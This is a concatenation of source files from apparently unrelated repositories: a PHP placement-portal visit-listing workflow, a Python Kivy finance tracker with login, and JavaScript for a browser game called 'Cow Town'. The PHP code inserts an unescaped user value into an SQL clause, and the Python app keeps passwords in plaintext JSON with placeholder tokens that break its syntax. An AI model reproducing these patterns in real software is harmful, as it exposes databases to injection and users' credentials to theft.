* @return visits array Visits information [memory]
* @return portalid long int Portal ID [memory]
* @return plname string Portal Name [memory]
* @return admin integer Is admin [memory]
* @return padmin integer Is parent admin [memory]
* @return pchain array Parent chain information [memory]
* @return pgsz long int Paging Size [memory]
* @return pgno long int Paging Index [memory]
* @return total long int Paging Total [memory]
*
* @author <NAME> <<EMAIL>>
*
**/
class VisitListWorkflow implements Service {
/**
* @interface Service
**/
public function input(){
return array(
'required' => array('keyid'),
'optional' => array('user' => '', 'portalid' => false, 'id' => COMPANY_PORTAL_ID, 'plname' => false, 'name' => 'IIT (BHU) Varanasi', 'pgsz' => 25, 'pgno' => 0, 'total' => false, 'padmin' => true, 'filter' => CURRENT_YEAR, 'year' => false, 'comuser' => false),
'set' => array('filter', 'year', 'comuser', 'id', 'name')
);
}
/**
* @interface Service
**/
public function run($memory){
$memory['portalid'] = $memory['portalid'] ? $memory['portalid'] : $memory['id'];
$memory['plname'] = $memory['plname'] ? $memory['plname'] : $memory['name'];
$authcustom = false;
$args = $esc = array();
$qry = '';
if($memory['filter']){
if(in_array($memory['filter'], array('placement', 'internship', 'ppo'))){
$memory['vtype'] = $memory['filter'];
$qry .= "and `vtype`='\${vtype}'";
array_push($args, 'vtype');
array_push($esc, 'vtype');
if($memory['year']){
$qry .= "and `year`='\${year}'";
array_push($args, 'year');
array_push($esc, 'year');
}
if($memory['comuser']){
$qry .= "and `comuser`='\${comuser}'";
array_push($args, 'comuser');
array_push($esc, 'comuser');
$authcustom = true;
}
}
elseif(is_numeric($memory['filter'])){
$memory['vtype'] = false;
$memory['tmp'] = $memory['year'];
$memory['year'] = $memory['filter'];
$qry = "and `year`='\${year}'";
array_push($args, 'year');
array_push($esc, 'year');
if($memory['tmp'] && in_array($memory['tmp'], array('placement', 'internship', 'ppo'))){
$qry .= "and `vtype`='\${vtype}'";
array_push($args, 'vtype');
array_push($esc, 'vtype');
$memory['vtype'] = $memory['tmp'];
}
if($memory['comuser']){
$qry .= "and `comuser`='\${comuser}'";
array_push($args, 'comuser');
array_push($esc, 'comuser');
$authcustom = true;
}
}
else {
$memory['comuser'] = $memory['filter'];
$memory['vtype'] = false;
$qry = "and `comuser`='\${comuser}'";
array_push($args, 'comuser');
array_push($esc, 'comuser');
$authcustom = true;
}
}
else {
$memory['vtype'] = false;
}
$comauth = array(
array(
'service' => 'transpera.relation.unique.workflow',
'args' => array('keyid'),
'conn' => 'exconn',
'relation' => '`companies`',
'sqlprj' => '`comid`',
'sqlcnd' => "where `owner`=\${keyid} and `username`='".$memory['comuser']."'",
'errormsg' => 'Unable to Authorize',
'successmsg' => 'Company information given successfully'
));
$service = array(
'service' => 'transpera.entity.list.workflow',
'input' => array('id' => 'portalid', 'pname' => 'plname'),
'args' => $args,
'conn' => 'exconn',
'relation' => '`visits`',
'type' => 'visit',
'sqlprj' => '`visitid`, `vstname`, `files`, `shortlist`, `vtype`, `year`, `comid`, `comuser`, `bpackage`, `ipackage`, `mpackage`, `visitdate`, UNIX_TIMESTAMP(`deadline`)*1000 as `deadline_ts`, `deadline`, (select c.`name` from `companies` c where c.`comid`=`visits`.`comid`) as `comname`, `cer`, `che`, `civ`, `cse`, `eee`, `ece`, `mec`, `met`, `min`, `phe`, `apc`, `apm`, `app`, `bce`, `bme`, `mst`',
'sqlcnd' => "where `visitid` in \${list} $qry order by `visitdate` desc, `vtype` desc, `visitid` desc",
'escparam' => $esc,
'successmsg' => 'Visits information given successfully',
//'lsttrack' => true,
'output' => array('entities' => 'visits'),
'mapkey' => 'visitid',
'mapname' => 'visit',
'saction' => 'add',
'authcustom' => $authcustom ? $comauth : false
);
$memory = Snowblozm::run($service, $memory);
if(!$memory['valid'])
return $memory;
$len = count($memory['visits']);
for($i=0; $i<$len; $i++){
$visit = $memory['visits'][$i];
$service = array(
'service' => 'executive.cutoff.list.workflow',
'output' => array('admin' => 'ctfadmin', 'padmin' => 'admin'),
'keyid' => $memory['keyid'],
'user' => $memory['user'],
'visitid' => $visit['visit']['visitid'],
'vstname' => $visit['visit']['vstname'],
'pgsz' => 3,
'pgno' => 0,
'total' => $visit['chain']['count'],
'chpgsz' => 3,
'chpgno' => 0,
'chtotal' => $visit['chain']['count']
);
$memory['visits'][$i] = Snowblozm::run($service, $visit);
}
return $memory;
}
/**
* @interface Service
**/
public function output(){
return array('visits', 'id', 'portalid', 'plname', 'admin', 'padmin', 'pchain', 'total', 'pgno', 'pgsz', 'vtype', 'comuser', 'year');
}
}
?>
|
ef19c99637354d8c8f16090752462ba73d4fceb8
|
[
"PHP"
] | 3
|
PHP
|
angelsinghrahul/tprexecutive
|
51c19797ca8131aa187ceffabc6f3a8e74799763
|
25229211df0ad9e065cf47373d702ad811a09c12
|
refs/heads/main
|
<file_sep>from kivy.app import App
from kivy.lang import Builder
from kivy.uix.screenmanager import ScreenManager, Screen
from kivy.uix.boxlayout import BoxLayout
from kivy.properties import ObjectProperty, StringProperty
from kivy.uix.widget import Widget
from kivy.storage.jsonstore import JsonStore
from kivy.uix.recycleview import RecycleView
from kivy.clock import Clock
import json, glob
from datetime import datetime
from pathlib import Path
Builder.load_file('design.kv')
list_rv = None
class RootWidget(ScreenManager):
screen_home = ObjectProperty(None)
screen_add = ObjectProperty(None)
class LoginScreen(Screen):
def sign_up(self):
self.manager.current="sign_up_screen"
def login(self, username, password):
with open("users.json", 'r') as file:
users = json.load(file)
if username in users and users[username]['password'] == <PASSWORD>:
self.manager.current = 'screen_home'
else:
self.ids.login_wrong.text = "Wrong username or password!"
class SignUpScreen(Screen):
def add_user(self, username, password):
with open("users.json", 'r') as file:
users = json.load(file)
users[username] = {'username': username, 'password': <PASSWORD>,
'created': datetime.now().strftime("%Y-%m-%d %H-%M-%S")}
with open("users.json", 'w') as file:
json.dump(users, file)
self.manager.current = "sign_up_screen_success"
class SignUpScreenSuccess(Screen):
def go_to_login(self):
self.manager.transition.direction = 'right'
self.manager.current = "screen_home"
class AddScreen(Screen):
def submit_input(self, type, price, comment):
self.manager.transition.direction = 'right'
self.manager.current = "screen_home"
with open("transactions.json", 'r') as file:
data = json.load(file)
print(type);
if (((type == "spent") or (type == "received")) and not(price == "")):
data += [{'type': type, 'price': price,
'comment': comment, 'date': datetime.now().strftime("%Y-%m-%d %H-%M-%S")}]
with open("transactions.json", 'w') as file:
json.dump(data, file)
class MyRecycleView(RecycleView):
def __init__(self, **kwargs):
super(MyRecycleView, self).__init__(**kwargs)
self.load_data()
Clock.schedule_interval(self.load_data, 1)
def load_data(self, *args):
with open("transactions.json", 'r') as file:
data = json.load(file)
list_data = []
list_data.append({'text' : 'type' + " " +
"date" + " "+'price'
+ " " +'comment'})
for item in data:
list_data.append({'text' : item['type'] + " " +
item['date'] + " " +
item['price'] + " " + item['comment']})
self.data = list_data
class MyRecycleViewSpent(RecycleView):
def __init__(self, **kwargs):
super(MyRecycleViewSpent, self).__init__(**kwargs)
self.load_data()
Clock.schedule_interval(self.load_data, 1)
def load_data(self, *args):
with open("transactions.json", 'r') as file:
data = json.load(file)
list_data = []
list_data.append({'text' : 'type' + " " +
"date" + " "+'price'
+ " " +'comment'})
for item in data:
if(item['type'] == "spent"):
list_data.append({'text' : item['type'] + " " +
item['date'] + " " +
item['price'] + " " + item['comment']})
self.data = list_data
class MyRecycleViewReceived(RecycleView):
def __init__(self, **kwargs):
super(MyRecycleViewReceived, self).__init__(**kwargs)
self.load_data()
Clock.schedule_interval(self.load_data, 1)
def load_data(self, *args):
with open("transactions.json", 'r') as file:
data = json.load(file)
list_data = []
list_data.append({'text' : 'type' + " " +
"date" + " "+'price'
+ " " +'comment'})
for item in data:
if(item['type'] == "received"):
list_data.append({'text' : item['type'] + " " +
item['date'] + " " +
item['price'] + " " + item['comment']})
self.data = list_data
class HomeScreen(Screen):
pass
class SpentScreen(Screen):
pass
class ReceivedScreen(Screen):
pass
class MainApp(App):
def build(self):
return RootWidget()
if __name__ == "__main__":
MainApp().run()
|
4ae66faafc085bf4ed3640be9923e10b78e7de9c
|
[
"Python"
] | 1
|
Python
|
stoichitescumaria/TrackYourFinance
|
ca630f08d54173c7f5fa8cefb7fd3dd808caa25c
|
92c29857336d1312ba4c1b0d9a0bf45f668225df
|
refs/heads/master
|
<file_sep>var audioOn = true;
function audioToggle(){
audioOn = !audioOn;
document.getElementById("soundOnText").innerHTML = audioOn? "on" : "off";
Howler.volume(audioOn? 1 : 0)
}
var audio_gameStart = new Howl({
src: ['src/audio/gameStart.mp3']
});
var audio_gameEnd = new Howl({
src: ['src/audio/gameEnd.mp3']
});
var audio_gotFood = new Howl({
src: ['src/audio/foodGot.mp3']
});
var audio_gotWood = new Howl({
src: ['src/audio/woodGot.mp3']
});
var audio_buildTick = new Howl({
src: ['src/audio/buildTick.mp3']
});
var audio_buildingFinished = new Howl({
src: ['src/audio/buildingFinished.mp3']
});
var audio_attackRound = new Howl({
src: ['src/audio/attackRound.mp3']
});
var audio_buttonPressUp = new Howl({
src: ['src/audio/buttonPressUp.mp3']
});
var audio_buttonPressDown = new Howl({
src: ['src/audio/buttonPressDown.mp3']
});
var audio_villagerDeath = new Howl({
src: ['src/audio/villagerDeath.mp3']
});
var audio_buildingChange = new Howl({
src: ['src/audio/buildingChange.mp3']
});
var audio_dayFinished = new Howl({
src: ['src/audio/dayFinished.mp3']
});
var audio_upgradeComplete = new Howl({
src: ['src/audio/upgradeComplete.mp3']
});
<file_sep>const promptBox = document.getElementById("promptBox");
const promptTitle = document.getElementById("promptTitle");
const promptText = document.getElementById("promptText");
const displayPrompt = (title, text) => {
gameSpeed(99);
promptTitle.innerText = title;
promptText.innerText = text;
promptBox.style.display = "block";
}
const closePrompt = () => {
promptBox.style.display = "none";
gameSpeed(0);
}<file_sep>function Villager(){
this.name = nameList[Math.floor((Math.random() * nameList.length - 1) + 1)];
this.energy = 100;
this.id = ids;
ids++;
this.isWorking = false;
this.isDead = false;
this.isFatigued = false;
this.currentJob = "home";
}
const addVillager = (howMany, displayPrompt) =>{
for (let i = 0; i < howMany; i++) {
villagers.push(new Villager());
add(villagers[villagers.length - 1], "home");
if(displayPrompt){
updateText(villagers[villagers.length - 1].name + " joined the town");
}
}
total_cows += howMany;
if(total_villagers >= highest_cow_count){
highest_cow_count = total_villagers;
}
}
const killVillager = (villager, displayText) =>{
audio_villagerDeath.play();
if(displayText){
updateText(villager.name + " died");
}
villager.isDead = true;
villager.currentJob = "dead";
document.getElementById("villager_" + villager.id).remove();
villagers.splice(villagers.indexOf(villager), 1);
updateCurrentJobNumbers();
if(villagers.length == 0){
endGame();
return;
}
}
const drainVillagersEnergy = () => {
if(villagers.length === 0){
return;
}
villagers.forEach(villager => {
if(villager.currentJob !== "home"){
if(villager.energy <= 0){
villagerEnergyDrained(villager);
}else{
villager.energy -= villager_energy_decay;
if(villager.energy <= 20){
document.getElementsByClassName("villager" + villager.id)[0].style.background = "#FF847C";
document.getElementById("energy_" + villager.id).style.background = "#E84A5F";
}else{
document.getElementById("energy_" + villager.id).style.background = "#99B898";
}
}
}else{
if(villager.energy < 100){
if(villager.isFatigued){
villager.energy += (villager_energy_gain / villager_fatigue_punishment);
}else{
villager.energy += villager_energy_gain;
}
}else{
villager.isFatigued = false;
document.getElementById("energy_" + villager.id).style.background = "#99B898";
}
}
if(document.getElementById("energy_" + villager.id) != null){
document.getElementById("energy_" + villager.id).style.width = villager.energy + "%";
};
});
}
const villagerEnergyDrained = (who) =>{
remove(who);
who.isFatigued = true;
document.getElementById("energy_" + who.id).style.background = "#E84A5F";
}
const findAliveVillagers = () =>{
let totalAlive = 0;
villagers.forEach(villager => {
if(!villager.isDead){
totalAlive++;
}
});
return totalAlive;
}<file_sep># Cow Town
Cow Town is my first vanilla JS project.

Playable on [Kongregate.](https://www.kongregate.com/games/Pet_Pumpkin/cow-town)
### What is it?
Cow Town is a simple management game in which must expand and defend your town of cows.
I have wanted to make a clone of the awesome game [Despotism 3k](https://store.steampowered.com/app/699920/Despotism_3k/) for quite some time and thought a text based version could work nicely.

### How to play?
As previously stated, the aim of the game is to expand and defend your town of cows.
The player must be aware of two threats:
- Starvation
- The so-called "enemy"
At the end of each day each cow will consume 5 food. Any cows that cannot be fed will die.
The "enemy" attacks every X number of days and is defended against by building walls.

Cows can be assigned various jobs:
- Foraging for food
- Collecting wood
- Building houses or walls
- Doing science (getting upgrades)
Cows are assigned said jobs by clicking on the + or - buttons found within their respective job windows.
*Hint: You can send **all** available cows by holding **SHIFT** and clicking or **half** by holding **ALT** and clicking on the + or -*
*Other keyboard shortcuts are displayed when buttons are hovered over **the game is actually playable completely with the keyboard***

The core loop comprises of collecting enough food to stay alive while collecting enough wood to build your walls up before the enemy attacks. Houses allow more cows to join the village and the upgrades (from science) add bonuses that persist through games, these include increased food / wood collection, slower attack times and more walls to be built.
### Postmortem
As stated at the very top, this is my first project written in vanilla JS. I'm fairly happy with the way the game has come out and I've gotten some nice feedback on Kongregate which motivated me to work on an update for the game. There are still some bugs around and the game balance could use some tweaking but since the game has more or less "peaked" in terms of visability on Kongregate I've decided to use that as a cut off point and just move on and let this first project just be the first project, warts and all rather than getting too caught up and trying to perfect things.
On the more self critical side I don't feel that happy with how messy the code got over time and I'm sure there are ways to vastly improve things.
That said I am quite excited to look back on this code in the future and see how I've improved and I think I'll revisit this type of game in the future.
Another note, maybe I can't fully say that I'm using pure vanilla JS since I used [Howler.js](https://howlerjs.com/) for the audio. But no matter, it made the audio side really nice and easy and I think implementing that was in its own way another small valuable lesson.
### Thanks
You can visit my website at https://petpumpkin.net
or, follow me on [twitter](https://twitter.com/pet_pumpkin)
or, here's a trailer of a game I made using Unity [Avocado Rescue](https://youtu.be/6UgBex-KuNE)
Cheers, <NAME><file_sep>
const explainationText = document.getElementById("helpExplaination");
var explainationStep = 0;
function nextExplain(){
switch(explainationStep){
case 0:
explainationText.innerText = "the aim of the game is to survive and expand your town";
break;
case 1:
explainationText.innerText = "to survive: keep your cows fed by having them forage. Click on the + under the food panel to send any available cows to forage for food. Click the - to send them home";
break;
case 2:
explainationText.innerText = "food upkeep: take note of your required upkeep, each cow needs 5 food per day to survive";
break;
case 3:
explainationText.innerText = "if you do not have enough food in stock at the end of the day, cows will die";
break;
case 4:
explainationText.innerText = "under the name of each cow is a green energy bar, if this runs out, your cow will return home and not be able to work until they have fully rested";
break;
case 5:
explainationText.innerText = "collect wood to build homes and walls";
break;
case 6:
explainationText.innerText = "homes allow more cows to join the town. At the end of each day, providing there is space in your homes, a new cow will join your town";
break;
case 7:
explainationText.innerText = "walls defend against the ongoing attacks from the outside world";
break;
case 8:
explainationText.innerText = "each wall built will increase your 'wall strength'. Your wall strength must be higher than the enemy strength before the enemy attacks, otherwise it's game over";
break;
case 9:
explainationText.innerText = "you can also send your cows to be scientist, these will unlock upgrades - these upgrades are forever!";
break;
case 10:
explainationText.innerText = "now, go! Play and have fun, be sure to let me know in the comments what you think";
break;
case 11:
explainationText.innerText = "that's all i got for you...";
break;
case 12:
explainationText.innerText = "";
break;
case 13:
explainationText.innerText = "...";
break;
case 14:
explainationText.innerText = "persistent one aren't you...";
break;
case 15:
explainationText.innerText = "alright then..";
break;
case 16:
explainationText.innerText = "when moving cows you can also hold the SHIFT button to move all or hold ALT to move half of available cows";
break;
case 17:
explainationText.innerText = "more cows = more productivity";
break;
case 18:
explainationText.innerText = "I really like cows :)";
break;
case 19:
explainationText.innerText = "did you know that cows chew for up to 8 hours a day?";
break;
case 20:
explainationText.innerText = "something fascinating, cows are very social creatures and don't like to be alone";
break;
case 21:
explainationText.innerText = "cows can sleep while standing, isn't that cool!?";
break;
case 22:
explainationText.innerText = "alright.. I'm getting tired of writing now..";
break;
case 23:
explainationText.innerText = "okay go play the game, give it a go";
break;
case 24:
explainationText.innerText = "you got this, I believe in you!";
break;
case 25:
explainationText.innerText = "";
break;
case 26:
explainationText.innerText = "...";
break;
case 27:
explainationText.innerText = "alright.. you got me... a new update needs new content...";
break;
case 28:
explainationText.innerText = "a question for you. Why do all cows wear bells?"
break;
case 29:
explainationText.innerText = "because their horns don't work...";
break;
case 30:
explainationText.innerText = "haha, haha, yes, that was a good one";
break;
case 31:
explainationText.innerText = "still here? Alright let's see what else the internet has to offer...";
break;
case 32:
explainationText.innerText = "how do cows do maths?"
break;
case 33:
explainationText.innerText = "with a COW-culator";
break;
case 34:
explainationText.innerText = "haha, haha, great stuff"
break;
case 35:
explainationText.innerText = "alright you.. I've spoiled you enough"
break;
case 36:
explainationText.innerText = "now get out there and play the game, the cows are waiting for you!"
break;
case 37:
explainationText.innerText = "that's really it.. I'm not writing anymore";
case 38:
explainationText.innerText = "";
break;
case 39:
explainationText.innerText = "";
break;
case 40:
explainationText.innerText = ".";
break;
case 41:
explainationText.innerText = "..";
break;
case 42:
explainationText.innerText = "...";
break;
case 43:
explainationText.innerText = "cows";
break;
case 44:
explainationText.innerText = "cows are";
break;
case 45:
explainationText.innerText = "cows are beautiful!";
break;
}
explainationStep++;
}<file_sep>kongregateAPI.loadAPI(function(){
window.kongregate = kongregateAPI.getAPI();
// You can now access the Kongregate API with:
// kongregate.services.getUsername(), etc
// Proceed with loading your game...
kongregate.stats.submit("initialized", 1);
});<file_sep>//here everything will be saved (and maybe later sent to the servers)
let upgradesComplete = false;
let scientistLimit = 1;
let chanceForDoubleWood = 0;
let chanceForDoubleFood = 0;
var total_wood_collected = 0;
var total_wood_used = 0;
var total_food_collected = 0;
var total_food_eaten = 0;
var total_cows = 0;
var total_days = 0;
var total_attacks_survived = 0;
var total_homes_built = 0;
var total_walls_built = 0;
var total_walls_destroyed = 0;
var total_mouse_clicks = 0;
var total_games_played = 0;
var highest_cow_count = 0;
var highest_food_count = 0;
var highest_wood_count = 0;
var total_upgrades = 0;
let statsToSave = {
_upgradesComplete: upgradesComplete,
_chanceForDoubleWood: chanceForDoubleWood,
_chanceForDoubleFood: chanceForDoubleFood,
_wallStrengthIncreaseAmount: wallStrengthIncreaseAmount,
_villagerEnergyGain: villager_energy_gain,
_villagerEnergyDecay: villager_energy_decay,
_villagerFatiguePunishment: villager_fatigue_punishment,
_homeCapacity: villagers_per_home,
_scientistLimit: scientistLimit,
_nextAttackCooldownBonus: nextAttackCountdownBonus,
_totalWoodCollected: total_wood_collected,
_totalWoodUsed: total_wood_used,
_totalFoodCollected: total_food_collected,
_totalFoodEaten: total_food_eaten,
_totalCows: total_cows,
_totalDays: total_days,
_totalAttacksSurvived: total_attacks_survived,
_totalHomesBuilt: total_homes_built,
_totalWallsBuilt: total_walls_built,
_totalWallsDestroyed: total_walls_destroyed,
_totalMouseClicks: total_mouse_clicks,
_totalGames: total_games_played,
_totalUpgrades: total_upgrades,
_highestCowCount: highest_cow_count,
_highestFoodCount: highest_food_count,
_highestWoodCount: highest_wood_count
}
const saveData = () => {
statsToSave._upgradesComplete = upgradesComplete;
statsToSave._chanceForDoubleWood = chanceForDoubleWood;
statsToSave._chanceForDoubleFood = chanceForDoubleFood;
statsToSave._wallStrengthIncreaseAmount = wallStrengthIncreaseAmount,
statsToSave._villagerEnergyGain = villager_energy_gain,
statsToSave._villagerEnergyDecay = villager_energy_decay,
statsToSave._villagerFatiguePunishment = villager_fatigue_punishment,
statsToSave._homeCapacity = villagers_per_home,
statsToSave._scientistLimit = scientistLimit,
statsToSave._nextAttackCooldownBonus = nextAttackCountdownBonus,
statsToSave._totalWoodCollected = total_wood_collected;
statsToSave._totalWoodUsed = total_wood_used;
statsToSave._totalFoodCollected = total_food_collected;
statsToSave._totalFoodEaten = total_food_eaten;
statsToSave._totalCows = total_cows;
statsToSave._totalDays = total_days;
statsToSave._totalAttacksSurvived = total_attacks_survived;
statsToSave._totalHomesBuilt = total_homes_built;
statsToSave._totalWallsBuilt = total_walls_built;
statsToSave._totalWallsDestroyed = total_walls_destroyed;
statsToSave._totalMouseClicks = total_mouse_clicks;
statsToSave._totalGames = total_games_played;
statsToSave._totalUpgrades = total_upgrades;
statsToSave._highestCowCount = highest_cow_count;
statsToSave._highestFoodCount = highest_food_count;
statsToSave._highestWoodCount = highest_wood_count;
}
const loadData = () => {
upgradesComplete = statsToSave._upgradesComplete;
chanceForDoubleWood = statsToSave._chanceForDoubleWood;
chanceForDoubleFood = statsToSave._chanceForDoubleFood;
wallStrengthIncreaseAmount = statsToSave._wallStrengthIncreaseAmount,
villager_energy_gain = statsToSave._villagerEnergyGain,
villager_energy_decay = statsToSave._villagerEnergyDecay,
villager_fatigue_punishment = statsToSave._villagerFatiguePunishment,
villagers_per_home = statsToSave._homeCapacity,
scientistLimit = statsToSave._scientistLimit,
nextAttackCountdownBonus = statsToSave._nextAttackCooldownBonus,
total_wood_collected = statsToSave._totalWoodCollected;
total_wood_used = statsToSave._totalWoodUsed;
total_food_collected = statsToSave._totalFoodCollected;
total_food_eaten = statsToSave._totalFoodEaten;
total_cows = statsToSave._totalCows;
total_days = statsToSave._totalDays;
total_attacks_survived = statsToSave._totalAttacksSurvived;
total_homes_built = statsToSave._totalHomesBuilt;
total_walls_built = statsToSave._totalWallsBuilt;
total_walls_destroyed = statsToSave._totalWallsDestroyed;
total_mouse_clicks = statsToSave._totalMouseClicks;
total_games_played = statsToSave._totalGames;
total_upgrades = statsToSave._totalUpgrades;
highest_cow_count = statsToSave._highestCowCount;
highest_food_count = statsToSave._highestFoodCount;
highest_wood_count = statsToSave._highestWoodCount;
}
const updateStatsText = () =>{
document.getElementById("totalGamesPlayed").innerText = statsToSave._totalGames;
document.getElementById("totalDaysSurvived").innerText = statsToSave._totalDays;
document.getElementById("totalAttacksSurvived").innerText = statsToSave._totalAttacksSurvived;
document.getElementById("totalCows").innerText = statsToSave._totalCows;
document.getElementById("highestCows").innerText = statsToSave._highestCowCount;
document.getElementById("totalFoodCollected").innerText = statsToSave._totalFoodCollected;
document.getElementById("highestFoodCount").innerText = statsToSave._highestFoodCount;
document.getElementById("totalWoodCollected").innerText = statsToSave._totalWoodCollected;
document.getElementById("highestWoodCount").innerText = statsToSave._highestWoodCount;
document.getElementById("totalHomesBuilt").innerText = statsToSave._totalHomesBuilt;
document.getElementById("totalWallsBuilt").innerText = statsToSave._totalWallsBuilt;
document.getElementById("doubleFoodChance").innerText = chanceForDoubleFood + "/50";
document.getElementById("doubleWoodChance").innerText = chanceForDoubleWood + "/50";
document.getElementById("wallStrengthIncreaseAmount").innerText = (wallStrengthIncreaseAmount - 5) + "/25";
document.getElementById("villagerEnergyGain").innerText = -((0.7 - villager_energy_gain) / 0.1).toFixed(0) + "/13";
document.getElementById("villagerEnergyDrain").innerText = ((0.25 - villager_energy_decay) / 0.01).toFixed(0) + "/10";
document.getElementById("villagerFatiguePunishment").innerText = ((3 - villager_fatigue_punishment) / 0.25) + "/6";
document.getElementById("homeCapacity").innerText = villagers_per_home - 2 + "/8";
document.getElementById("scientistLimit").innerText = scientistLimit - 1 + "/9";
document.getElementById("nextAttackBonus").innerText = (nextAttackCountdownBonus - 10) + "/10";
}
const loadCookie = () => {
let cookieString = document.cookie;
if(cookieString === ""){
return;
}
var n = cookieString.lastIndexOf("=");
cookieString = cookieString.substr(n + 1); //cut off the "saveData=" part of the cookie and parse the rest
statsToSave = JSON.parse(cookieString);
loadData();
updateStatsText();
}
const saveCookie = () => {
saveData();
document.cookie = "saveData=" + JSON.stringify(statsToSave) + "; expires=Thu, 18 Dec 2050 12:00:00 UTC; path=/";
}
loadCookie();
setInterval(saveCookie, 5000);
const sendStatsToKong = () =>{
kongregate.stats.submit("total_cows", total_cows);
kongregate.stats.submit("total_food_collected", total_food_collected);
kongregate.stats.submit("total_wood_collected", total_wood_collected);
kongregate.stats.submit("survived", total_days);
}
const clearCookie = () =>{
document.cookie = "saveData=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
}
<file_sep>const setMultipleDivDisplay = (divNames, setTo) => {
divNames.forEach(div => {
document.getElementById(div).style.display = setTo ? "block" : "none";
});
}
const sortCowsAtJob = (job) =>{
let cowsAtJob = findVillagersWithJob(job);
if(job === "home"){
cowsAtJob.sort((a, b) => parseFloat(a.energy) - parseFloat(b.energy));
}else{
cowsAtJob.sort((a, b) => parseFloat(b.energy) - parseFloat(a.energy));
}
let cowDivs = [];
cowsAtJob.forEach(cow => {
cowDivs.push(document.getElementById("villager_" + cow.id));
});
for (let i = 0; i < cowDivs.length; i++) {
document.getElementById(job + "JobHook").after(cowDivs[i]);
}
}
const removeFromHome = (villager) =>{
document.getElementById("villager_" + villager.id).remove();
}
const addMany = (whoArray, toWhere) => {
whoArray.forEach(who => {
add(who, toWhere);
});
}
const addManyWithDelay = (whoArray, toWhere) => {
setTimeout(function () {
if(whoArray.length === 0){
return;
}
add(whoArray[0], toWhere);
whoArray.shift();
addManyWithDelay(whoArray, toWhere);
}, 100);
}
const removeManyWithDelay = (whoArray) => {
setTimeout(function () {
if(whoArray.length === 0){
return;
}
remove(whoArray[0]);
whoArray.shift();
removeManyWithDelay(whoArray);
}, 100);
}
const add = (who, toWhere) => {
if(gamePaused){
return;
}
if(who === undefined){
return;
}
if(who.isDead){
return;
}
if(toWhere === "scientist" && total_scientists === scientistLimit){
return;
}
who.currentJob = toWhere;
if(toWhere !== "home"){
audio_buttonPressUp.play();
removeFromHome(who);
}
let newWorkingCow = document.createElement("div");
newWorkingCow.className = "newWorker";
newWorkingCow.insertAdjacentHTML("afterbegin",
`<p id='villagerName' class='villager${who.id}'>${who.name}</p>
<div class="villagerEnergyDisplay">
<div id="tempId" class="villagerEnergyDisplayFiller">
</div>
</div>`);
newWorkingCow.id = "villager_" + who.id;
document.getElementById(toWhere + 'JobDiv').appendChild(newWorkingCow);
let fillerDiv = document.getElementById("tempId");
fillerDiv.id = "energy_" + who.id;
updateCurrentJobNumbers();
sortCowsAtJob(toWhere);
}
const removeMany = (whoArray) => {
whoArray.forEach(who => {
remove(who);
});
}
const remove = (who) => {
if(gamePaused){
return;
}
if(who === undefined){
return;
}
if(who.isDead){
return;
}
who.currentJob = "home";
audio_buttonPressDown.play();
document.getElementById("villager_" + who.id).remove();
add(who, "home");
updateCurrentJobNumbers();
}
const findVillagersWithJob = (jobToFind) => {
let villagersWithJob = [];
villagers.forEach(villager => {
if(villager.currentJob === jobToFind && !villager.isFatigued){
villagersWithJob.push(villager);
}
});
return villagersWithJob;
}
const findHalfVillagersWithJob = (jobToFind) => {
let villagersWithJob = findVillagersWithJob(jobToFind);
for (let i = 0; i < villagersWithJob.length; i++) {
if(i % 2 === 0){
villagersWithJob.splice(i, 1);
}
}
return villagersWithJob;
}
const findWeakestVillager = (villagerArray) => {
let weakestEnergy = 100;
let newVillager = undefined;
villagerArray.forEach(villager => {
if(villager.energy < weakestEnergy){
weakestEnergy = villager.energy;
newVillager = villager;
}
});
return newVillager;
}
const findStrongestVillager = (villagerArray) =>{
let strongestEnergy = 0;
let newVillager = undefined;
villagerArray.forEach(villager => {
if(villager.energy > strongestEnergy){
strongestEnergy = villager.energy;
newVillager = villager;
}
});
return newVillager;
}
const updateCurrentJobNumbers = () => {
total_atHome = 0;
total_foragers = 0;
total_collectors = 0;
total_builders = 0;
total_scientists = 0;
villagers.forEach(villager => {
switch(villager.currentJob){
case "home":
total_atHome++;
break;
case "food":
total_foragers++;
break;
case "wood":
total_collectors++;
break;
case "build":
total_builders++;
break;
case "scientist":
total_scientists++;
break;
}
});
}
<file_sep>var total_villagers = 2;
var total_homes = 1;
var total_food = 10;
var food_upkeep = 0;
var villager_food_cost = 5;
var villager_food_generation = 1;
var villager_energy_decay = .25;
var villager_energy_gain = 0.7;
var villagers_per_home = 2;
var villager_fatigue_punishment = 3;
var total_foragers = 0;
var total_wood = 0;
var total_collectors = 0;
var total_scientists = 0;
var total_builders = 0;
var total_atHome = 0;
var wallStrength = 0;
var wallStrengthIncreaseAmount = 5;
var enemyStrength = 2;
var buildHomesNow = true;
var villager_food_generation = 1;
var villager_wood_generation = 1;
var timeOfDay = 0;
var nextAttackCountdown = 20;
var nextAttackCountdownBonus = 10;
var attacksSurvived = 0;
var buildingHomeTick = 0;
var buildingHomeTickLimit = 1000;
var buildingHomeTickPerWood = 50;
var buildingHomeTickWoodCost = 1;
var buildingWallTick = 0;
var buildingWallTickLimit = 1000;
var buildingWallTickPerWood = 50;
var buildingWallTickWoodCost = 1;
var foodTick = 0;
var foodTickLimit = 25;
var woodTick = 0;
var woodTickLimit = 40;
var ids = 0;
var resourceCalculationTime = 100;
var buttons = document.getElementsByTagName("button");
var speedButton_0 = document.getElementById("speedButton_0");
var speedButton_1 = document.getElementById("speedButton_1");
var speedButton_2 = document.getElementById("speedButton_2");
var speedButton_3 = document.getElementById("speedButton_3");
var speedButton_pause = document.getElementById("speedButton_pause");
var resourceIntervalId;
let villagers = [];
var gameStarted = false;
preGameStart();
function preGameStart(){
setMultipleDivDisplay(["gameDiv", "speedControlDiv"], false);
}
function gameStart(){
updateText("new game, good luck!");
audio_gameStart.play();
total_games_played++;
setMultipleDivDisplay(["gameDiv", "speedControlDiv"], true);
setMultipleDivDisplay(["menuDiv", "startGameButton"], false);
resourceIntervalId = setInterval(calculateResources, resourceCalculationTime);
addVillager(2, false);
buildHomes();
gameSpeed(0);
document.addEventListener('keydown', keypressHandler);
total_homes = 1;
total_food = 0;
total_wood = 0;
enemyStrength = 2.5;
wallStrength = 0;
buildingWallTickLimit = 1000;
buildingHomeTickLimit = 1000;
buildingWallTick = 0;
buildingHomeTick = 0;
scienceTick = 0;
nextAttackCountdown = 20;
total_days = 0;
timeOfDay = 0;
attacksSurvived = 0;
}
function gameRestart(){
document.removeEventListener('keydown', keypressHandler);
for (let i = villagers.length - 1; i >= 0; i--) {
killVillager(villagers[i], false);
}
clearInterval(resourceIntervalId);
gameStart();
}
let gamePaused = false;
function gameSpeed(speed){
